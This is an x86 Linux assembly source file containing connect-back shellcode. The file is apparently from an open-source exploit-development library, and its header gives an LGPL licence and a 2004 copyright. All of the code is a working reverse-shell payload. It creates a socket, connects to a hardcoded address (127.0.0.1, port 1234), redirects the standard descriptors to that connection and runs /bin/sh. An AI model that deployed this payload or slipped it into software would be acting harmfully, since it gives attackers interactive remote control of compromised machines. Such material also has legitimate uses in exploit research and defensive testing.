2008-10-10 18:23:18 +00:00
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/*
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2008-11-17 10:34:26 +00:00
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* $Id: lin-x86-cntsockcode.s 40 2008-11-17 02:45:30Z ramon $
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2008-10-10 18:23:18 +00:00
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*
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* lin-x86-cntsockcode.s
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* Copyright 2004 Ramon de Carvalho Valle <ramon@risesecurity.org>
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*
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* This library is free software; you can redistribute it and/or
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* modify it under the terms of the GNU Lesser General Public
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* License as published by the Free Software Foundation; either
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* version 2.1 of the License, or (at your option) any later version.
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*
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* This library is distributed in the hope that it will be useful,
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* but WITHOUT ANY WARRANTY; without even the implied warranty of
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* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
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* Lesser General Public License for more details.
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*
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* You should have received a copy of the GNU Lesser General Public
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* License along with this library; if not, write to the Free Software
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* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
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*
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*/
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.global _start
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_start:
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# 71 bytes
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cntsockcode:
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xorl %ebx,%ebx
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mull %ebx
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pushl %ebx
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incl %ebx
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pushl %ebx
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pushl $0x02
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movl %esp,%ecx
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movb $0x66,%al
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int $0x80
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popl %ebx
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popl %esi
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pushl $0x0100007f
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pushw $0xd204
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pushw %bx
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pushl $0x10
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pushl %ecx
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pushl %eax
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movl %esp,%ecx
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incl %ebx
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pushl $0x66
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popl %eax
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int $0x80
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popl %ecx
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xchgl %ebx,%ecx
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0:
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movb $0x3f,%al
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int $0x80
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decl %ecx
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jns 0b
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shellcode:
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# xorl %eax,%eax
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pushl %eax
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pushl $0x68732f2f
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pushl $0x6e69622f
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movl %esp,%ebx
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pushl %eax
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pushl %ebx
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movl %esp,%ecx
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# cltd
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movb $0x0b,%al
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int $0x80
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